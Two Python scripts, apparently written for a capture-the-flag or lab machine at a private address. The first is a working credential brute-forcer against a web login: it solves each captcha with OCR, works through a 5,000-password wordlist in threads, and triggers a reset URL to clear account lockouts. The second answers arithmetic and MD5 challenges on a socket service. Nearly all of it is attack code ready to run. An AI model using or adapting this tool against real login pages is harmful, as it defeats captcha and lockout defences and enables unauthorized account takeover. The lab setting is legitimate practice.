import requests
import ddddocr
from concurrent.futures import ThreadPoolExecutor
from threading import Lock
import queue

url = "http://192.168.205.132:8000/family/"
cap_url = "http://192.168.205.132:8000/family/captcha.php"
rst_url = "http://192.168.205.132:8000/family/?reset=1"
user = "brian"
dict_file = "5000q.txt"
max_workers = 2

ocr = ddddocr.DdddOcr()
pw_q = queue.Queue()
found = queue.Queue(maxsize=1)
pr_lock = Lock()
total = 0
MAX_RETRY = 3   # 每个密码最多重试 3 次


def worker():
    global total
    s = requests.Session()
    s.headers.update({
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0",
        "Accept": "text/html,*/*",
        "Accept-Language": "zh-CN,zh;q=0.8,en;q=0.2",
        "Connection": "keep-alive",
        "Referer": url,
        "Upgrade-Insecure-Requests": "1"
    })

    tries = 0
    while True:
        if not found.empty():
            return
        try:
            pw, retry = pw_q.get_nowait()
            tries += 1

            cap_img = s.get(cap_url, timeout=5).content
            cap = ocr.classification(cap_img).strip()

            if len(cap) != 4:
                if retry < MAX_RETRY:
                    pw_q.put((pw, retry + 1))
                continue

            r = s.post(url, data={"username": user, "password": pw, "captcha": cap}, timeout=5)

            with pr_lock:
                total += 1
                n = total

            res = r.text

            # 账号被锁定
            if "ACCOUNT TEMPORARILY LOCKED!" in res:
                with pr_lock:
                    print(f"[{n:4d}] 🚫 {pw:<12} | 🔤 {cap} | 原因: 账号被锁定 → reset")
                try:
                    s.get(rst_url, timeout=5)
                except requests.RequestException:
                    pass
                if retry < MAX_RETRY:
                    pw_q.put((pw, retry + 1))
                continue

            # 破解成功
            if "Invalid security code!" not in res and "Incorrect password!" not in res:
                found.put((user, pw, cap, n))
                with pr_lock:
                    print(f"\n[+] 🎉 破解成功！🎉\n    用户名: {user}\n    密码: {pw}\n    验证码: {cap}\n    尝试: {n}")
                return

            # 失败原因输出
            reason = "未知原因"
            if "Invalid security code!" in res:
                reason = "验证码错误"
            elif "Incorrect password!" in res:
                reason = "密码错误"

            with pr_lock:
                print(f"[{n:4d}] ❌ {pw:<12} | 🔤 {cap} | 原因: {reason}")

        except queue.Empty:
            break
        except requests.RequestException:
            if retry < MAX_RETRY:
                pw_q.put((pw, retry + 1))
        except Exception as e:
            with pr_lock:
                print(f"[!] 线程异常: {e}")


if __name__ == "__main__":
    try:
        with open(dict_file, encoding="utf-8") as f:
            for p in [x.strip() for x in f if x.strip()]:
                pw_q.put((p, 0))   # (密码, 重试次数)
    except:
        print(f"[-] 字典未找到: {dict_file}")
        exit(1)

    print(f"[*] 开始爆破 | 用户: {user} | 字典: {dict_file} | 总数: {pw_q.qsize()} | 线程: {max_workers}\n")

    with ThreadPoolExecutor(max_workers=max_workers) as ex:
        list(ex.map(lambda _: worker(), range(max_workers)))

    if found.empty():
        print(f"\n[-] ❌ 爆破失败")

import socket
import re
import hashlib

s = socket.socket()
s.connect(("192.168.205.132", 6666))

data = s.recv(4096).decode()
print(data)

match = re.search(r"\((\d+) \* (\d+)\) // (\d+)", data)
a, b, c = map(int, match.groups())
ans1 = str((a * b) // c)
s.send((ans1 + "\n").encode())

data = s.recv(4096).decode()
print(data)
s.send(b"flag{fakeflag}\n")

data = s.recv(4096).decode()
print(data)
x = re.search(r"MD5\((\d+) \+ UNIX timestamp: (\d+)\)", data)
param = x.group(1) + x.group(2)
md5_hash = hashlib.md5(param.encode()).hexdigest()
s.send((md5_hash + "\n").encode())

print(s.recv(4096).decode())
s.close()